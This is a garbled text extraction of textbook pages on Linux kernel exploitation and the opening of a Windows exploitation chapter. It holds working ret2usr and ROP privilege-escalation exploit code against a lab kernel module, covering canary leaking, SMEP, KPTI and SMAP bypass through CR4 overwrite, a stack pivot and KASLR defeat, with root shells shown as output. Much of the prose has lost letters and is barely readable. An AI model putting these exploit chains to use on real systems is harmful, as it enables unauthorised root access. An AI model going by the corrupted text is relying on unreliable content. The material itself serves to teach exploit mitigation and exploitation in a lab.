gef➤ target remote :1234
Remote debugging using :1234
0xffffffff810221fe in amd_e400_idle ()
...
gef➤ disas ghh_write
Dump of assembler code for function ghh_write:
...
0xffffffff811b5758 <+8>: lea rdi,[rbp-0x10]
0xffffffff811b575c <+12>: sub rsp,0x8
0xffffffff811b5760 <+16>: call 0xffffffff811b2880
<copy_user_generic_string>
...
gef➤ disas ghh_read
...
0xffffffff811b5781 <+1>: mov rdi,rsi
0xffffffff811b5784 <+4>: mov rbp,rsp
0xffffffff811b5787 <+7>: push rbx
0xffffffff811b5788 <+8>: mov rbx,rdx
0xffffffff811b578b <+11>: lea rsi,[rbp-0x10]
0xffffffff811b578f <+15>: sub rsp,0x8
0xffffffff811b5793 <+19>: call 0xffffffff811b2880
<copy_user_generic_string>
...
Gray Hat Hacking: The Ethical Hacker’s Handbook
236
Overwriting RIP
Le’s y o ash he kene modue by ovewiing RIP. To do his, make sue boh
eminas unning QEMU (un1.sh) and GDB ae si open. Then, in you GDB
window, exeue he foowing ommands:
gef➤ pattern create 50
[+] Generating a pattern of 50 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
gef➤ continue
Continuing.
Now opy his paen and send i o he modue using echo:
~ $ echo aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama > /proc/ghh
BUG: unable to handle page fault for address: 6161616861616167
#PF: supervisor read access in kernel mode
#PF: error_code(0x0001) - permissions violation
...
RIP: 0010:0x6161616861616167
Kernel panic - not syncing: Attempted to kill init! exitcode=0x00000009
Kernel Offset: disabled
...
Sine we go a kene pani, pess ctrl-c o exi fom QEMU. Now exeue he
un1.sh sip again and eaah GDB o he GDB seve using target remote :1234.
Le’s opy he RIP vaue and see how many byes we need o wie o ovewie RIP:
gef➤ pattern search 0x6161616861616167
[+] Searching for '0x6161616861616167'
[+] Found at offset 24 (little-endian search) likely
Wih his knowedge, we ae eady o begin expoiing his modue o esaae pivieges.
Reun-o-use is he easies kene expoiaion ehnique, and i’s ompaabe o he
basi ehniques feaued in Chape 10 ha aowed us o exeue sheodes wih NX
enabed and ASLR disabed.
The main objeive of e2us is o ovewie he RIP egise and hijak exeuion fow
on he kene-spae o eevae he pivieges of he uen poess by using he kene fun-
ions: commit_creds(prepare_kernel_cred(0)). I woks fo he uen use-spae poess
beause commit_creds insas he new edenias o be assigned o he uen ask.2
Now ha we have a RIP ovewie, ou saegy is as foows:
1. Find he addesses fo prepare_kernel_cred and commit_creds in /po/kasyms.
These addesses wi emain he same hough eboos beause KASLR is disabed.
2. Insead of exeuing a sheode, wie a funion wih inine assemby ha wi
exeue commit_creds(prepare_kernel_cred(0)).
3. Reun o use-spae by using he swapgs and iretq opodes.
Chapter 12: Linux Kernel Exploits
237
Le’s now wie, ompie, and exeue ou expoi. We wi povide and doumen he
fu soue, bu he nex seions wi ony onain he neessay ode pahes equied o
bypass eah expoi miigaion ehnique. The fu soue of his ab an be found in he
foowing pah: ~/GHHv6/h12/shaed/expoi1/expoi..
❶void save_state(){
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
}
❷void shell(void){
PART III
if (getuid() != 0) {
printf("UID = %d :-(\n", getuid());
exit(-1);
}
system("/bin/sh");
}
unsigned long user_rip = (unsigned long) shell;
❸void escalate_privileges(void){
__asm__(
".intel_syntax noprefix;"
"xor rdi, rdi;"
❹"call 0xffffffff81067d80;" // prepare_kernel_cred
"mov rdi, rax;"
❺"call 0xffffffff81067be0;" // commit_creds
"swapgs;"
"push user_ss;"
"push user_sp;"
"push user_rflags;"
"push user_cs;"
"push user_rip;"
"iretq;"
".att_syntax;"
);
}
int main() {
save_state();
❻unsigned long payload[40] = { 0 };
❼payload[3] = (unsigned long) escalate_privileges;
A ❶, ou expoi exeues he ode o eevae he pivieges of ou ask in kene mode.
One ha’s done, we need o swih bak o use-spae and exeue system(“/bin/sh”) ❷.
Gray Hat Hacking: The Ethical Hacker’s Handbook
238
The fis pobem we fae is ha o eun o use-spae, he Ineup Reun (iretq)
insuion needs o have he oe vaues on he CS, RFLAGS, SP, SS, and RIP egises,
and hese egises ae affeed in boh modes. The souion is o use his inine assemby
o save he egises befoe going o kene mode and esoe hem fom he sak befoe
aing he iretq insuion.
A ❸, we ovewie RIP wih he addess of he escalate_privileges funion, whih
onains he neessay ode o exeue commit_creds(prepare_kernel_cred(0)), use he
swapgs insuion o swap he GS egise wih a vaue in one of he mode-speifi
egises (MSRs), esoe he CS, RFLAGS, SP, SS egises, and finay poin RIP o he
shell funion befoe aing iretq.
Befoe we oninue, e’s ge he addess of he prepare_kernel_cred ❹ and
commit_creds ❺ funions on ou age sysem and modify he sip wih hese
addesses:
$ ./run1.sh
...
-sh: can't access tty; job control turned off
~ $ grep prepare_kernel_cred /proc/kallsyms|head -n1
ffffffff81067d80 T prepare_kernel_cred
~ $ grep commit_creds /proc/kallsyms|head -n1
ffffffff81067be0 T commit_creds
Gea! Now e’s enabe Sak Canaies so we an undesand how i woks and ean
how o bypass i in his senaio.
The kene’s sak memoy an be poeed fom memoy oupion and ovefow
aaks in he same way as is use-spae ounepa wih Kene Sak Canaies. This
ompie-ime expoi miigaion feaue woks ike use-spae Sak Canaies, whih we
Chapter 12: Linux Kernel Exploits
239
eaned abou and expoied in he pevious hape. We’ve eompied he usom kene
wih he CONFIG_STACKPROTECTOR feaue enabed o use Sak Canaies fo
his and he foowing abs. To see i in aion, exeue un2.sh and y ovewiing he
RIP egise whie aahing GDB o age sysem.
Fis, open a emina window in you ~/GHHv6/h12 fode and exeue un2.sh,
bu don’ un he expoi jus ye:
$ ./run2.sh
In a new emina window, aah GDB and hen se wo beakpoins o see when he
anay ges assigned and when i’s heked befoe euning fom he vuneabe fun-
ion. Nex, we wi geneae a paen ha wi hep us idenify whee inside ou payoad
we shoud pae he anay fo i o be epaied afe he sak ovewie. Finay, we
oninue exeuion. Hee’s he ode:
PART III
$ gdb ~/GHHv6/ch12/vmlinux
gef➤ target remote :1234
gef➤ b *ghh_write+29
Breakpoint 1 at 0xffffffff811c375d
gef➤ b *ghh_write+53
Breakpoint 2 at 0xffffffff811c3775
gef➤ pattern create 50
[+] Generating a pattern of 50 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
gef➤ c
Continuing.
Now opy in his yi paen fom you QEMU emina and wie i o he modue
inefae:
~ $ echo aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama > /proc/ghh
By he ime he fis beakpoin ges hi, he anay wi be aeady opied ino rbp-0x10.
Le’s inspe is vaue and oninue o he seond beakpoin:
[#0] Id 1, stopped 0xffffffff811c375d in ghh_write (), reason: BREAKPOINT
...
gef➤ x/g $rbp-0x10
0xffffc9000000be78: 0x914df153b7a33000
gef➤ c
Continuing.
[#0] Id 1, stopped 0xffffffff811c3775 in ghh_write (), reason: BREAKPOINT
A his poin, he saved anay (rbp-0x10) has been opied ino he rdx egise and
wi be subaed fom he oigina anay. If he esu is no zeo, __stack_chk_fail wi
be exeued insead of euning. Le’s see he onens of rdx and use he paen offse
uiiy o idenify whee he anay mus be paed:
gef➤ print $rdx
$1 = 0x6161616461616163
gef➤ pattern offset $rdx
[+] Searching for '$rdx'
[+] Found at offset 8 (little-endian search) likely
Gray Hat Hacking: The Ethical Hacker’s Handbook
240
If we oninue exeuion, we wi ge a kene pani on he QEMU window:
gef➤ c
Continuing.
Kernel panic - not syncing: stack-protector: Kernel stack is corrupted in:
ghh_write+0x4b/0x50
Kernel Offset: disabled
---[ end Kernel panic - not syncing: stack-protector: Kernel stack is
corrupted in: ghh_write+0x4b/0x50 ]---
Ou as sep is o expoi he abiay ead vuneabiiy o eak memoy addesses
and idenify whehe ou anay is being eaked and a whih offse. In you ~/GHHv6/
h12/shaed fode is a sma C pogam ha wi open he /po/ghh inefae, ead
40 byes ino an unsigned ong aay, and wie ou payoad o ovewie RIP. Le’s fis
ompie his pogam and aunh un2.sh:
$ gcc -O0 -static ~/GHHv6/ch12/shared/leak.c -o ~/GHHv6/ch12/shared/leak
$ ./run2.sh
Aah GDB in a new emina, se a beakpoin afe he anay ges opied ino he
rax egise (ghh_write+25), and oninue exeuion:
$ gdb ~/GHHv6/ch12/vmlinux
gef➤ target remote :1234
gef➤ b *ghh_write+25
Breakpoint 1 at 0xffffffff811c3759
gef➤ c
Continuing.
Now, in you QEMU emina, un he leak binay and y o find whehe he
onens of he rax egise ae in he is of eaked addesses:
~ $ ./leak
0xffffc900000a7eb0
0x30035093d9375600
0xffff888002193f00
0xffffc900000a7ed0
0xffffffff8114c174
gef➤ print $rax
$1 = 0x30035093d9375600
We go i! The anay is he seond addess being eaked. Wih his knowedge, we an
fix ou pevious expoi o epai he anay and suessfuy ovewie RIP. Ou main
funion ooks ike his now:
save_state();
int fd = open("/proc/ghh", O_RDWR);
...
unsigned long leak[5];
❶read(fd, leak, sizeof(leak));
Now ha we suessfuy bypassed he Sak Canay poeion, e’s enabe he SMEP
and KPTI poeions and see how we an ge aound hem.
PART III
Lab 12-4: Bypassing Supervisor Mode Execution Protection (SMEP)
and Kernel Page-Table Isolation (KPTI)
We wi now aise he ba and bypass he widey depoyed SMEP and KPTI kene expoi
miigaion feaues.
The SMEP expoi miigaion feaue benefis fom he moden poesso ahieue
mehanism ha pevens fehing ode oaed in he use-mode memoy addess spae
whie unning on high piviege eves (Ring 0). When SMEP is enabed, poining he
RIP egise o ode oaed a he use-mode memoy addess spae wi esu in a
“kene oops” and he ineupion of he offending ask. This feaue is enabed by
seing he CR4 egise’s wenieh bi o on (see Figue 12-1).
You an onfim whehe he SMEP feaue is enabed on he age sysem by eading
/po/puinfo:
$ ./run3.sh
~ $ grep smep /proc/cpuinfo
flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat
pse36 clflush mmx fxsr sse sse2 syscall nx lm constant_tsc nopl cpuid
pni cx16 hypervisor pti smep
31(63) 22 21 20 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0
S S S V
P P M P P T P V
M M M M D
Reserved C G C A S S V M CR4
A E X X E
E E E E E D I E
P P E E
FSGSBASE OSFXSR
OSXSAVE PCIDE OSXMMEXCPT
Beause we an no onge exeue ou escalate_privileges funion diey, and evey
day i ges hade o bypass hese onos, a simpe way ha si woks is o eae a
fu ROP hain o exeue commit_creds(prepare_kernel_cred(0)) and hen exeue
swapgs, esoe he CS, RFLAGS, SP, SS, and RIP fags, and finay exeue iretq.
Le’s open he Roppe onsoe o seah fo ou gadges:
1. We begin by ooking fo he pop rdi; ret; gadge beause we mus a prepare_
kernel_cred(0) befoe commit_creds:
$ ropper --file ~/GHHv6/ch12/vmlinux --console
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
PART III
0xffffffff81400d55 <+165>: jne 0xff...<common_interrupt_return+169>
0xffffffff81400d57 <+167>: iretq
Le’s modify ou sips o add hese gadges, and hen ompie and exeue ou
expoi, whih shoud ook ike his:
payload[1] = canary;
int i = 4;
payload[i++] = 0xffffffff811ad2ec; // pop rdi; ret;
payload[i++] = 0;
payload[i++] = 0xffffffff8106b6a0; // prepare_kernel_cred
payload[i++] = 0xffffffff8100534f; // mov r8, rax; mov rax, r8; ret;
payload[i++] = 0xffffffff81113e1b; // mov rdx, r8; ret;
payload[i++] = 0xffffffff811b794e; // mov rdi, rax; cmp rdi, rdx; jne
0x3b7945; xor eax, eax; ret;
payload[i++] = 0xffffffff8106b500; // commit_creds
payload[i++] = 0xffffffff81400cc6; //common_interrupt_return+22...
payload[i++] = 0;
payload[i++] = 0;
payload[i++] = user_rip;
payload[i++] = user_cs;
payload[i++] = user_rflags;
payload[i++] = user_sp;
payload[i++] = user_ss;
write(fd, payload, sizeof(payload));
$ gcc -O0 -static ~/GHHv6/ch12/shared/exploit3/exploit.c \
-o ~/GHHv6/ch12/shared/exploit3/exploit
$ ./run3.sh
~ $ ./exploit3/exploit
Canary = 0xb78bc5a754405d00
/bin/sh: can't access tty; job control turned off
/home/user # id
uid=0(root) gid=0(root)
We go i! Now e’s enabe SMAP and see how his expoi miigaion oud affe us.
Gray Hat Hacking: The Ethical Hacker’s Handbook
244
SMAP is a seuiy feaue inodued o he Linux kene in 2012 by Ine.3 I onsiss
of making use-spae pages inaessibe when he poess is in kene spae. This feaue
is enabed by seing he CR4 egise’s weny-fis bi o on (see Figue 12-2).
This feaue geay ompiaes hings when he ROP payoad is oaed on he use-
mode memoy pages; howeve, beause a he gadges fom ou pevious expoi ae in
kene spae, SMAP won’ sop us fom esaaing pivieges!
Le’s onfim his by aunhing un4.sh (whih enabes he SMAP expoi miigaion
feaue) and ou pevious expoi (expoi3):
$ ./run4.sh
~ $ ./exploit3/exploit
Canary = 0xe3cd76ee34fda800
/bin/sh: can't access tty; job control turned off
/home/user # id
uid=0(root) gid=0(root)
SMAP wi make hings moe ompiaed in moe onsained siuaions whee we
need mmap o buid a fake sak in use-mode addess spae and hen use a sak pivo
gadge o sage a moe ompex ROP hain.
The mos ommon mehod fo ahieving SMEP and SMAP bypass was abusing he
native_write_cr4 funion o se bis 20 and 21 o off fom he CR4 egise. Howeve,
saing wih kene vesion 5.3,4 CR4 is pinned on boo, and he native_write_cr4
funion now ses he SMAP and SMEP bis on again if he CR4 egise was modified.
This shoud no be onsideed a ROP miigaion feaue (suh as Cono Fow Inegiy)
bu ahe emoving a quik, one-sho win fo kene expoi wies.
Thee is a big hane ha poduion sysems have muipe kene modues and
devie dives poviding many usefu gadges o ahieve he same goa. Suh is he ase of
he ghh_seek funion bui ino ou kene as an exampe of his.
If you disassembe he ghh_seek funion, you shoud see some ode inended fo
ohe puposes:
gef➤ disas ghh_seek
Dump of assembler code for function ghh_seek:
0xffffffff811c3840 <+0>: mov edx,0x220f120d
0xffffffff811c3845 <+5>: out 0x4d,eax
0xffffffff811c3847 <+7>: mov esp,edi
0xffffffff811c3849 <+9>: ret 0x8
0xffffffff811c384c <+12>: xor eax,eax
0xffffffff811c384e <+14>: ud2
31(63) 22 21 20 18 17 16 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0
S S S V
P P M P P T P V
M M M M D
Reserved C G C A S S V M CR4
A E X X E
E E E E E D I E
P P E E
FSGSBASE OSFXSR
OSXSAVE PCIDE OSXMMEXCPT
As ong as we an uiize and ombine exising ode ino ROP gadges affeing he
CR4 egise, bypassing he SMEP and SMAP expoiaion miigaion feaues wi
emain possibe.
Even hough we’ve aeady bypassed SMAP wih ou pevious expoi, we don’ wan o
miss he oppouniy o demonsae how o bypass SMAP by modifying he CR4 egise
using he gadge we found hanks o he unaigned inepeaion of hese opodes.
PART III
This new expoi wi be a o moe ompex beause we wi buid a fake sak in use-
and addess spae using mmap and hen use a sak pivo gadge o exeue he ROP
hain we bui o esaae pivieges.
We wi make he foowing hanges o ou expoi:
...
payload[1] = canary;
payload[4] = 0xffffffff811ad2ec; // pop rdi; ret;
❶payload[5] = 0x6B0;
❷payload[6] = 0xffffffff811c3843; // mov cr4, rdi; mov r12, r15; ret 8;
payload[7] = 0xffffffff81022d82; // ret
payload[8] = 0xffffffff81022d82; // ret
payload[9] = 0xffffffff81022d81; // pop rax; ret;
❸payload[10] = 0xc0d30000; // fake_stack
❹payload[11] = 0xffffffff81265330; // mov esp, eax; mov rax, r12; pop r12;
// pop rbp; ret;
// Fake Stack
❺unsigned long *fake_stack = mmap((void *) (0xc0d30000 - 0x1000), 0x2000,
PROT_READ|PROT_WRITE|PROT_EXEC,
MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED, -1, 0);
if (fake_stack == MAP_FAILED) {
perror("mmap");
exit(-1);
}
fake_stack[0] = 0xdeadbeefdeadbeef;
int i = 512;
fake_stack[i++] = 0xdeadbeefdeadbeef;
fake_stack[i++] = 0xdeadbeefdeadbeef;
fake_stack[i++] = 0xffffffff811ad2ec; // pop rdi; ret;
fake_stack[i++] = 0;
fake_stack[i++] = 0xffffffff8106b6a0; // prepare_kernel_cred
...
A ❶, we begin by assigning rdi he vaue 0x6B0, whih is equivaen o having he
rc4 bis 20 and 21 (0000000000011010110000). A ❷, he gadge modifies rc4 and we
add wo rets o make sue he sak says aigned. A ❸, we pop ino rax he addess of
ou fake sak, 0x0d30000, beause o jump ino ou fake sak we used he sak pivo
gadge mov esp, eax.
Gray Hat Hacking: The Ethical Hacker’s Handbook
246
Befoe ou payoad is sen, we eae ou fake sak mmap ❺ using engh
0x2000 byes, saing a offse 0d2f000. The eason o do his is o have enough spae
if he sak needs o gow.
Le’s ompie and exeue ou new expoi:
$ gcc -O0 -static ~/GHHv6/ch12/shared/exploit4/exploit.c \
-o ~/GHHv6/ch12/shared/exploit4/exploit
$ ./run4.sh
~ $ ./exploit4/exploit
Canary = 0x7e99dad9ff559100
/bin/sh: can't access tty; job control turned off
/home/user # id
uid=0(root) gid=0(root)
Exeen! We have onfimed ha i is possibe o ovewie cr4 using ROP. In he
nex ab, we ae going o enabe and defea KASLR.
KASLR5 aso woks simiay o he use-spae ASLR poeion, andomizing he kene’s
base addess ayou evey ime he sysem is booed. If we an eak a eiabe memoy
addess, i woud be ivia o bypass his poeion. Sine we have an abiay ead
ondiion, hee ae he seps we wi exeue o auae he kene base:
1. Modify he eak. pogam o un getchar() befoe sending he payoad. This wi
give us ime o aah GDB (o beak GDB if i’s aeady aahed) and onfim
whehe he addess is eiabe. Then eompie eak. afe adding getchar(). The
ode shoud ook ike his:
...
getchar();
write(fd, payload, sizeof(payload));
...
$ gcc -O0 -static ~/GHHv6/ch12/shared/leak.c \
-o ~/GHHv6/ch12/shared/leak
2. Exeue he poess a few imes o onfim ha he addess we ae ying aways
poins o he same insuion:
$ ./run5.sh
~ $ ./leak
0xffffbc9a800a7eb0
0x6c37813c4cd01e00
0xffff9b8801197f00
0xffffbc9a800a7ed0
0xffffffff8eb4c174
Chapter 12: Linux Kernel Exploits
247
Now, open a new emina and ge he insuions hese addesses ae poining o by
using he x/i GDB ommand. If you epea his a few imes, you wi noie ha he fifh
addess, index 4 of our leak array, is aways poining o he same insuion:
gef➤ x/i 0xffffffff8eb4c174
0xffffffff8eb4c174: mov edx,0xffffffff
gef➤ x/i 0xffffffff9f94c174
0xffffffff9f94c174: mov edx,0xffffffff
Knowing ha ou eiabe addess is a index 4 of ou eak aay, e’s oninue wok-
ing wih KASLR disabed (un4.sh) o simpify he auaions. Ou nex seps wi be
as foows:
1. Launh un4.sh and hen ge he kene base addess by eading he fis ine of
/po/kasyms and subaing he fifh addess euned by ./eak binay one
PART III
again o ge he disane beween he eak and he kene base:
$ ./run4.sh
~ $ head -n1 /proc/kallsyms
ffffffff81000000 T startup_64
~ $ ./leak
0xffffc900000a7eb0
0xb590a89d9d045f00
0xffff888002196f00
0xffffc900000a7ed0
0xffffffff8114c174
Then exi QEMU and use Pyhon o ge he disane beween he eak and he
kene base:
$ python -c 'print(hex(0xffffffff8114c174-0xffffffff81000000))'
0x14c174L
2. Modify ou expoi4. soue ode o eae a new unsigned ong vaiabe,
kernel_base, whose vaue wi be leak[4] - 0x14c174.
The ode shoud ook ike his:
unsigned long canary = leak[1];
unsigned long kernel_base = leak[4] - 0x14c174;
printf("Kernel Base = 0x%016lx\n", kernel_base);
printf("Canary = 0x%016lx\n", canary);
3. Cauae he disane of eah sai addess wih he ones eaive o he kene base.
Le’s fix he pop rdi; ret; gadge, and you an epea he same poess wih a gadges ae.
Afe opening QEMU wih KASLR disabed (un4.sh) and aahing GDB, suba
he kene base addess (0xffffffff81000000) fom he pop rdi; ret; gadge’s addess
(0xffffffff811ad2e):
$ gdb ~/GHHv6/ch12/vmlinux
gef➤ target remote :1234
gef➤ p 0xffffffff811ad2ec-0xffffffff81000000
$1 = 0x1ad2ec
Make he hange o he expoi ode, whih shoud ook ike his:
payload[4] = kernel_base + 0x1ad2ec; // pop rdi; ret;
Gray Hat Hacking: The Ethical Hacker’s Handbook
248
One you’e done geing he eaive addesses, you expoi soue shoud ook ike
he one in ~/GHHv6/h12/shaed/expoi5/expoi..
Le’s ompie and exeue ou new expoi:
$ gcc -O0 -static ~/GHHv6/ch12/shared/exploit5/exploit.c \
-o ~/GHHv6/ch12/shared/exploit5/exploit
$ ./run5.sh
~ $ ./exploit5/exploit
Kernel Base = 0xffffffff97e00000
Canary = 0x28050c99dcbfdc00
/bin/sh: can't access tty; job control turned off
/home/user # id
uid=0(root) gid=0(root)
Summary
In his hape, we used a vuneabe kene modue and diffeen kene onfiguaions
o wak hough muipe expoi miigaions and some ways o bypass hem. A simpe
e2us expoi was un agains an unpoeed kene o undesand he basis of kene
expoiaion. Then, we saed adding he Sak Canaies, SMEP, KPTI, SMAP, and
KASLR expoi miigaion feaues and waked hough some ehniques o bypass hem.
These kene expoiaion ehniques povide a usefu knowedge base o sa spoing
kene aak veos, unoveing seuiy bugs, and making sense of possibe expoiaion
hains o ahieve fu ono ove a vuneabe sysem. Poeion ehniques hange and
he saegies o defea hem evove, so o bee undesand hese ehniques, you an
eview he “Fo Fuhe Reading” seion.
References
1. hps://gihub.om/ovads/inux/bob/mase/sips/exa-vminux
2. hps://eixi.booin.om/inux/v5.14.17/soue/kene/ed.#L447
3. hps://wn.ne/Aies/517251
4. hps://wn.ne/Aies/804849/
5. hps://wn.ne/Aies/569635/
Basic Windows
Exploitation
CHAPTER
13
In this chapter, we cover the following topics:
• Compiling and debugging Windows programs
• Writing Windows exploits
• Understanding Structured Exception Handling (SEH)
• Understanding and bypassing basic exploit mitigations such as SafeSEH
• Return-oriented programming (ROP)
Moo Wdow by mo ommoy ud op ym, o bo po-
o d po u, ow Fu 13-1. T p ow u
o; owv, povd ood o ov OS mk . A m
o w, Wdow 10 dom 67 p o mk, w Wdow 7
owy d, y mo 0 p o mk. I m o xpoo
d u o 0-dy xpo, oud b vy o w Wdow op-
ym poy uv . Wdow 7 o mk o
ompo o Wdow 10 bu uy u d xpo mo
Linux Other
Figure 13-1 Windows 8.1
2% 6%
Overall OS 2%
market share1 macOS 10.15
4%
Windows 7
19%
Windows 10
67%
249
Gray Hat Hacking: The Ethical Hacker’s Handbook
250
uvb o Wdow 7, u Coo Fow Gud (CFG). Exmp o ob
u d mo v p d Cp 14. I o
vuby dovd o o Wdow OS vo mup o vo, od
d w. Wdow 11 w ky b upk mk ov om y.
T Moo C/C++ Opmz Comp d Lk vb o om p://
vuudo.moo.om/v/ommuy/. W u Wdow 10 vo 0H o
b. Dowod d u om pvou k. W pompd, om
Wokod oy, Dkop Dvopm w C++ opo d d
o opo xp o oow:
hello.c
Microsoft (R) Incremental Linker Version 14.28.29915.0
Copyright (C) Microsoft Corporation. All rights reserved.
/out:hello.exe
hello.obj
c:\grayhat>hello.exe
Hello haxor
PART III
L’ mov o o bud x pom, m.x. C m. ou od
w oow od d omp o you Wdow ym u .x:
C:\grayhat>type meet.c
//meet.c
#include <stdio.h>
greeting(char *temp1, char *temp2) {
char name[400];
strcpy(name, temp2);
printf("Hello %s %s\n", temp1, name);
}
main(int argc, char *argv[]){
greeting(argv[1], argv[2]);
printf("Bye %s %s\n", argv[1], argv[2]);
}
c:\grayhat>cl.exe meet.c
Microsoft (R) C/C++ Optimizing Compiler Version 19.28.29915 for x86
Copyright (C) Microsoft Corporation. All rights reserved.
meet.c
Microsoft (R) Incremental Linker Version 14.28.29915.0
Copyright (C) Microsoft Corporation. All rights reserved.
/out:meet.exe
meet.obj
meet.c
Microsoft (R) Incremental Linker Version 14.28.29915.0
Copyright (C) Microsoft Corporation. All rights reserved.
/out:meet.exe
/debug
meet.obj
G, ow you v xub bu w dbu omo, ’ m o
dbu d ow dbu o Wdow omp o Ux dbu-
xp.
I b, you ud Vu Sudo 01 Commuy Edo o omp o.
d m. pom. W ompd m. pom w u dbu om-
o, w w p u ou x b. W o ookd vou omp
b ud o pom o, u db o /GS xpo mo oo.
PART III
• Op Immuy Dbu d oo F | A.
• Ivok Immuy Dbu om ommd —o xmp, om
Wdow IDLE Pyo pomp, oow:
>>> import subprocess
>>> p = subprocess.Popen(["Path to Immunity Debugger", "Program to Debug",
"Arguments"],stdout=subprocess.PIPE)
Fo xmp, o dbu ou vo m.x pom d d 40 A’, mpy yp
oow:
>>> import subprocess
>>> p = subprocess.Popen(["C:\Program Files (x86)\Immunity Inc\Immunity
Debugger\ImmunityDebugger.exe", "c:\grayhat\meet.exe", "Dr",
"A"*408],stdout=subprocess.PIPE)
T pd ommd w u m.x d o Immuy Dbu,
ow :
Gray Hat Hacking: The Ethical Hacker’s Handbook
254
Shortcut Purpose
f2 Set breakpoint (bp).
f7 Step into a function.
f8 Step over a function.
f9 Continue to next breakpoint or exception, or exit.
ctrl-k Show call tree of functions.
shift-f9 Pass exception to program to handle.
Click in the code section and press alt-e. Produce a list of linked executable modules.
Right-click a register value and select Look at the stack or memory location that
Follow in Stack or Follow in Dump. corresponds to the register value.
ctrl-f2 Restart debugger.
Table 13-2 Immunity Debugger Hotkeys
T dbu my xpo, d o, you mu p xpo by p
shift-f od o o du bkpo o pom y po.
W Immuy Dbu, you w w o kow ommo ommd
d Tb 13- ( you u mOS o o p ommd o Wdow
vu m, you my d o mp ky bd).
Nx, o b o w xmp book, dju oo m by
-k y wdow d App | Coo (A) d oo
om . Sm 4 ud o xmp o (w bkoud). Ao,
No H opo b d. Immuy Dbu omm do o
uppo p o ukow o, o you my d o mk pp
mo o.
W you u pom Immuy Dbu, dbu uomy
pu. T ow you o bkpo d xm o dbu
o bo ou. I wy ood d o o by k dym
dpd o you pom (alt-e), ow :
I , w m xub modu o m.x d , oowd
by vou DLL. T omo uu bu, you w , mod-
u o opod vb o you w xpo. No dd
w b d o ym du o dd p you domzo (ASLR)
d o o.
Chapter 13: Basic Windows Exploitation
255
Fo b, you d o dowod d Immuy Dbu oo you Wdow
ym om omod k. Immuy Dbu dpdy o
Pyo .7, w w b d uomy ’ o dy o you ym. You
w b dbu m.x pom you pvouy ompd. U Pyo IDLE
o you Wdow ym, yp oow:
>>> import subprocess
>>> p = subprocess.Popen(["C:\Program Files (x86)\Immunity Inc\Immunity
Debugger\ImmunityDebugger.exe", "c:\grayhat\meet.exe", "Dr",
"A"*408],stdout=subprocess.PIPE)
# If on a 32-bit Windows OS you will need to remove the (x86) from the path.
PART III
W pd od, w v pd od um o 40 A’. T po-
m oud uomy up ud oo o dbu. You my v o
p y um xpo by p shift-f. T 40 A’ w ovu bu.
W ow dy o b y o pom. W d strcpy()
om d greeting() uo bu kow o b vub du o k
o boud k. L’ d by w Exub Modu wdow, w
b opd w alt-e. Doub-k “m” modu, d you w b k o
uo po o m.x pom. You w uo o pom
( , greeting d main). Aow dow o JMP meet.greeting (you my
v o d o ) d p enter o oow JMP m o greeting
uo, ow :
NOTE If you do not see the symbol names, such as greeting, strcpy,
and printf, then you may not have compiled the binary with debugging
symbols. You might also see a smaller or larger jump table, depending on
the version of Windows you are using. Even compiling on different version
of Windows can produce different results. If you still do not see the symbols
to the right when looking at the screen, simply follow the instructions in the
next paragraph to look for the string ASCII "Hello %s %s" and break on the
CALL instruction a few lines above it. This is the call to strcpy, which can
be verified by clicking it and pressing enter.
Gray Hat Hacking: The Ethical Hacker’s Handbook
256
Now w ook greeting() uo Dmb wdow, ’
bkpo vub uo (strcpy). Aow dow u you o
0x011C6EF4. A, dd d ymbo o you vo o Wdow my
b d. I o, mpy ook o uo w bov dmby
ow ASCII "Hello %s %" o o w o bkpo. You
vy o by k uo d p enter. T
oud ow you b md o strcpy() uo. A , p f2
o bkpo; dd oud u d. T bkpo ow you o u o
po quky. Fo xmp, po, pom w ctrl-f2 d
p f o ou o bkpo. You oud ow Immuy Dbu
d o uo w d (strcpy).
NOTE The addresses presented in this chapter will likely vary on your system
due to rebasing and ASLR. Therefore, you should follow the techniques, not
the particular addresses. Also, depending on your OS version, you may need
to manually set the breakpoint each time you start the program because
Immunity Debugger seems to have issues with breakpoint persistence
on some versions of Windows. WinDbg is a great alternative, but it’s not
as intuitive.
Now w v bkpo o vub uo (strcpy), w
ou by pp ov strcpy uo (p f). A , you
w m u d. Bu w ju xud strcpy uo , you oud
my o u d. Cou pp ou pom u you
o RETN uo, w o od greeting uo. Fo
xmp, bu “u po” b ovw w ou A’, dbu-
d uo bou o u o 0x41414141. Ao o ow
uo po opd dd o EBP (Exdd B Po) o ESP
(Exdd Sk Po) d poppd vu o k (0x41414141) o
EBP, ow x.
Chapter 13: Basic Windows Exploitation
257
A xpd, w you p f8 o mo m, pom w xpo,
o mpy w 0x41414141 ow EIP (Exdd Iuo Po)
. T d first chance exception bu dbu d pom v
o d xpo bo pom . You my p xp-
o o pom by p shift-f. I , bu o xpo d
povdd w ppo , OS xpo d xpo
d m pom. You my d o p shift-f mup m o
pom m.
A pom , you my ou o p mmoy oo. Fo
xmp, you my k k wdow d o up o pvou k m
(w w ju ud om, d ow yd ou). A ow x, you
b o bu o ou ym.
PART III
To ou p o d m, w k wdow,
o bk dow o u k m ( u k m w b d).
You my o u o u k m by ESP vu d
-k d vu d oo Foow Sk. You w o
opy o bu o b oud oo ESP+4, ow x. Iomo
k bom vub w oo k vo.
I b, w wokd w Immuy Dbu o xuo ow w ou
mou d pu. W dd vub o strcpy() d ow
bkpo o p ou uo. W owd xuo o ou d
omd w oo o uo po. T w du o
strcpy() uo ow u o ovw u po ud by greeting()
uo o u oo bk o main().
T PoSSHD v wok SSH v ow u o o “uy” d
povd ov ypd . T v u o po . A umb
o y bk, dvoy w d wd o bu ovow o po-
uo o. T m u mu dy v ou o v
Chapter 13: Basic Windows Exploitation
259
o xpo vuby. T vuby my b xpod by d mo
